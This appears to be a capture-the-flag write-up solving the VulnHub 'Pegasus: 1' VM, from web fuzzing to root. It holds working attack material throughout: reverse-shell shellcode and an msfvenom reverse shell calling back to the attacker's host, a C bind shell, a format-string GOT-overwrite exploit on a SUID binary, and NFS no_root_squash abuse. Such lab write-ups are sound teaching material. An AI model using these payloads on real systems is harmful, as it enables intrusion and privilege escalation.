published on in writeup
tags: pegasus

Pegasus: 1

Pegasus 1 is the first VM written by Knapsy, which he describes as being pitched at ‘intermediate’ difficulty. It’s certainly a tricky VM, which I tore my hair out solving!

Nmap

[email protected]:~# nmap -n -A -p- 192.168.127.102

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 77:89:5b:52:ed:a5:58:6e:8e:09:f3:9e:f1:b0:d9:98 (DSA)
|   2048 d6:62:f5:12:31:36:ed:08:2c:1a:5e:9f:3c:aa:1f:d2 (RSA)
|_  256 c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43 (ECDSA)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          49479/tcp  status
|_  100024  1          56854/udp  status
8088/tcp  open  http    nginx 1.1.19
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: Pegasus Technologies - Under Construction
56996/tcp open  status  1 (RPC #100024)

There is nothing much to see in regards to the SSH or RPC service. Loading up port 8088 in a browser you find a nice picture of Pegasus.

Looking at the source code, I saw that the JPG had a filename of pegasus_by_exomemory-d5ofhgw. This seemed to be a hint of some sort, so I downloaded it to my machine for some analysis. After about half-an-hour of not finding anything, I went back to nginx.

I wanted to crawl the service for any additional files or directories, so fired up wfuzz.

[email protected]:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/megabeast.txt --hc 404 http://192.168.127.102:8088/FUZZ

********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                     *
********************************************************

Target: http://192.168.127.102:8088/FUZZ
Payload type: file,/usr/share/wfuzz/wordlist/general/megabeast.txt

Total requests: 45463
==================================================================
ID	Response   Lines      Word         Chars          Request    
==================================================================

00001:  C=200      9 L	      18 W	    189 Ch	  " - admin"
00002:  C=200      9 L	      18 W	    189 Ch	  " - bak"
00003:  C=200      9 L	      18 W	    189 Ch	  " - Admin"
00004:  C=200      9 L	      18 W	    189 Ch	  " - Backup"
00005:  C=200      9 L	      18 W	    189 Ch	  " - warez"
00006:  C=200      9 L	      18 W	    189 Ch	  " - pr0n"
00007:  C=200      9 L	      18 W	    189 Ch	  " - porn"

I cancelled this straight away because as you can see, every request came back with a 200 OK response. Every response is the same size - manually checking in a browser, I found that it just returns the same image as before.

I found that if you stick a file extension on the end of the request, you do get 404 Not Found responses. So I adapted my fuzzing to only request resources with a .php extension.

[email protected]:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/megabeast.txt --hc 404 http://192.168.127.102:8088/FUZZ.php

39916:  C=200      0 L	       4 W	     19 Ch	  " - submit"

Browsing to this page, all I saw was the message: No data to process. Without any obvious way of knowing how to submit data via this, I figured another page may be submitting to it from a form or something. I just needed to find it, so I kept throwing wordlists until I found:

83134:  C=200     14 L	      58 W	    488 Ch	  " - codereview"
<html>
	<head>
		<title>Pegasus Technologies - Code Review</title>
	</head>
	<body>
		<h1>Code review</h1>
		<p>Note: our trainee (Mike) will be reviewing the code until we come up with an official process and a proper portal for code submission.</p>
		<p>In the meantime, please use the form below.</p>
		<form action="submit.php" method="post">
			<textarea name="code" id="textarea" cols=60 rows=30></textarea><br/>
			<input type="submit" value="Submit" />
		</form>
	</body>
</html>

So this page really does submit to submit.php - the idea is that you can submit some code for ‘review’ and a trainee called Mike will check it out for us. I think we can assume that since Mike is a trainee, he’s bound to make ‘mistakes’ and probably won’t be checking our code too carefully before running it. The only problem, is that there’s no indication of any language the code needs to be in.

I don’t think there is much to this than just guessing, so I spammed the box with all sorts of different reverse shell commands for bash, perl, python, ruby, php and java. Nothing… Each submission came back with Sent for review! but nothing was running.

I eventually got a different response when I tried:

system("ping 192.168.127.101");
...
Sorry, due to security precautions, Mike won't review any code containing system() function call.

Reverse Shell?

So it’s looking like C is what needs to be submitted, but we can’t use this function. I submitted C code which, when compiled, would initial a reverse shell back to my machine.

char shellcode[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x7f\x65\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{
        int (*ret)() = (int(*)())shellcode;
        ret();
}

This didn’t work however - tests on my local machine showed that it must be compiled with no-stack-protector and execstack for the binary to run; which is not being done on Pegasus.

Bind Shell!

My next option was to attempt bind shellcode. There’s no shortage of examples on the Internet, and I found a good post by Adam Palmer made as part of the SLAE course.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
        int clientfd, sockfd;
        int dstport = 4444;
        int o = 1;
        struct sockaddr_in mysockaddr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);

        mysockaddr.sin_family = AF_INET;
        mysockaddr.sin_port = htons(dstport);
        mysockaddr.sin_addr.s_addr = INADDR_ANY;

        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

        listen(sockfd, 0);

        clientfd = accept(sockfd, NULL, NULL);

        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);

        execve("/bin/sh", NULL, NULL);
        return 0;
}

I submitted this code, port scanned port 4444 and then connected to it.

[email protected]:~# nmap -n -p4444 192.168.127.102

PORT     STATE SERVICE
4444/tcp open  krb524
[email protected]:~# nc -n 192.168.127.102 4444
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)

There is a timeout to each process which gets executed, so my shell closed after a few minutes. I just reconnected and echo’d my public SSH key into Mike’s .ssh authorized_keys file.

Mike

Mike has an email waiting to be read:

[email protected]:~$ cat /var/spool/mail/mike 

Hi Mike,

I've crafted something simple in C, treating it as a refresher course for myself (it's been YEARS since I last coded something up) - would you mind reviewing it for me?

I've put the binary in your home directory for convenience. You can also find the source code under our local git repo: my_first.git

Thanks!
John

True to his word, you can find the my_first binary in /home/mike and my_first.git in /opt/git/.

-rwsrwxrwx 1 john john   6606 Nov 28 10:26 my_first*

You can clone the git repository to view the source code for my_first, but I just prodded the binary as it was. It is owned by John and has the SUID bit set, so exploiting this will give us access as John.

[email protected]:~$ ./my_first 
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

I tested the various inputs of each of the Selections, for obvious things such as buffer overflows. But eventually I found a string format vulnerability in the Calculator function.

Selection: 1

Enter first number: 1
Enter second number: %p
Error details: 0xbf81186c

String Format

I absolutely hate string format vulns, because they’re so god damn picky to get working. The first job is to determine where the string starts on the stack.

Enter second number: AAAA%p%p%p%p%p%p%p%p%p%p
Error details: AAAA0xbf81186c0xa0xb759d1600xb770fac00xfbad22880x40xbf8118700x414141410x702570250x70257025

I make that to be the 8th position. To confirm:

Enter second number: AAAA%8$p
Error details: AAAA0x41414141

ASLR is enabled on Pegasus, which we can bypass using ulimit.

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space
2
[email protected]:~$ ulimit -s unlimited

Now we need to collect some addresses.

[email protected]:~$ objdump -R my_first

my_first:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049bec R_386_GLOB_DAT    __gmon_start__
08049c20 R_386_COPY        stdin
08049bfc R_386_JUMP_SLOT   printf
08049c00 R_386_JUMP_SLOT   fgets
08049c04 R_386_JUMP_SLOT   puts
08049c08 R_386_JUMP_SLOT   __gmon_start__
08049c0c R_386_JUMP_SLOT   __libc_start_main
08049c10 R_386_JUMP_SLOT   putchar
08049c14 R_386_JUMP_SLOT   strtol

The GOT pointer for printf is at 0x08049bfc.

[email protected]:~$ gdb -q ./my_first
(gdb) b main
Breakpoint 1 at 0x804850f
(gdb) r
Starting program: /home/mike/my_first

Breakpoint 1, 0x0804850f in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 <system>

The address for system is at 0x40069060.

The plan of attack is to overwrite the address for printf with system and hopefully execute something such as /bin/dash.

To find a place to break, I disassembled the main function and chose a mov instruction just before printf.

0x08048569 <+93>:	mov    DWORD PTR [esp],0x8048905
0x08048570 <+100>:	call   0x80483b0 <[email protected]>
0x08048575 <+105>:	mov    eax,ds:0x8049c20
[email protected]:~$ printf '1\n\n\xfc\x9b\x04\x08%%8$n' > sploit

Breakpoint 1, 0x08048569 in main ()
(gdb) x/x 0x08049bfc
0x8049bfc <[email protected]>:     0x00000004

This confirms that I am able to overwrite the pointer for printf, so now to replace it with the address for system.

[email protected]:~$ printf '1\n\n\xfe\x9b\x04\x08\xfc\x9b\x04\x08%%16382u%%8$hn%%20570u%%9$hn' > sploit

(gdb) x/x 0x08049bfc
0x8049bfc <[email protected]>:     0x40069060

Now to run it outside of GDB.

[email protected]:~$ cat sploit | ./my_first

sh: 1: Selection:: not found

Bye!

So now, the binary is looking for something called Selection:, time to place my payload. I created a new binary which would copy /bin/dash into /tmp and set the SUID for john.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
        system("/bin/cp /bin/dash /tmp/sh");
        system("/bin/chmod 4777 /tmp/sh");
}

Compile this and ensure it’s called Selection:. Now modify the environmental PATH variable to ensure it gets executed.

[email protected]:~$ export PATH=.:$PATH
[email protected]:~$ env
PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
[email protected]:~$ cat sploit | ./my_first 
[email protected]:~$ ll /tmp/
-rwsrwxrwx  1 john mike 100284 Dec 20 10:59 sh*
[email protected]:~$ /tmp/sh 
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)

UIDs & GIDs

Currently, my uid/gid=1001(mike) and euid=1000(john). This means that I am able to browse john’s home directory and create files. But I lack the proper permissions to setup authorized_keys for john.

-rw-rw-r-- 1 john mike    0 Dec 20 11:05 authorized_keys
$ chown john:john authorized_keys
chown: changing ownership of `authorized_keys': Operation not permitted

Because the SUID bit is only set for user and not group on my_first, I don’t believe there is a way for me to obtain group rights for john. One of the things I wanted to do, was check John’s sudo rights. But because my current UID is for Mike, I get prompted for his password.

$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)
$ sudo -l
[sudo] password for mike:

What I wanted to do, was set my UID to 1000(john). To do this, I wrote another binary in /tmp.

#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
	setreuid(1000,1000);
	execv("/bin/dash", argv);
	return 0;
}
$ ./uid
$ id
uid=1000(john) gid=1001(mike) groups=1000(john),1001(mike)

Now my UID is correctly set, and I can run sudo as John.

$ sudo -l
Matching Defaults entries for john on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs

NFS

John may run NFS as root, reviewing /etc/exports reveals the following line:

$ cat /etc/exports
/opt/nfs	*(rw,sync,crossmnt,no_subtree_check,no_root_squash)

no_root_squash is a critical configuration item as it fails to prevent root users of other systems writing root owned files to the NFS share (root_squash ensures the permissions of files are ‘squashed’ to nodody:nobody). Since I am root on Kali, it means I can mount the share, write a binary to it, set SUID etc and those permissions will persist on Pegasus which I can execute as any user.

First, I start the NFS daemon.

$ sudo /usr/local/sbin/nfs start
 * Exporting directories for NFS kernel daemon...                                                                                                      [ OK ] 
 * Starting NFS kernel daemon

Mount it on my Kali machine.

[email protected]:~# mount.nfs 192.168.127.102:/opt/nfs /mnt/
[email protected]:~# cd /mnt/

Now I will just create a basic reverse shell using msfvenom.

[email protected]:/mnt# msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.127.101 lport=4444 -f elf > shell
[email protected]:/mnt# chmod 4777 shell 

-rwsrwxrwx 1 root root 152 Dec 20 00:37 shell

Now, I can setup my listener and execute the shell from Pegasus.

$ cd /opt/nfs
$ ls -l
-rwsrwxrwx 1 root root 152 Dec 20 11:37 shell
$ ./shell
[email protected]:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.127.101] from (UNKNOWN) [192.168.127.102] 43805
id; whoami
uid=1000(john) gid=1001(mike) euid=0(root) groups=0(root),1001(mike)
root

Flag

ls -l /root
-rw------- 1 root root 1824 Dec 16 19:09 flag

cat /root/flag

               ,
               |`\        
              /'_/_   
            ,'_/\_/\_                       ,   
          ,'_/\'_\_,/_                    ,'| 
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\  
         (`  (   (` (_  \   /   
         /  ,/    |  /  /   \   
        / ,/      | /   \   `\_ 
      _/_/        |/    /__/,_/
     /_(         /_( 


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!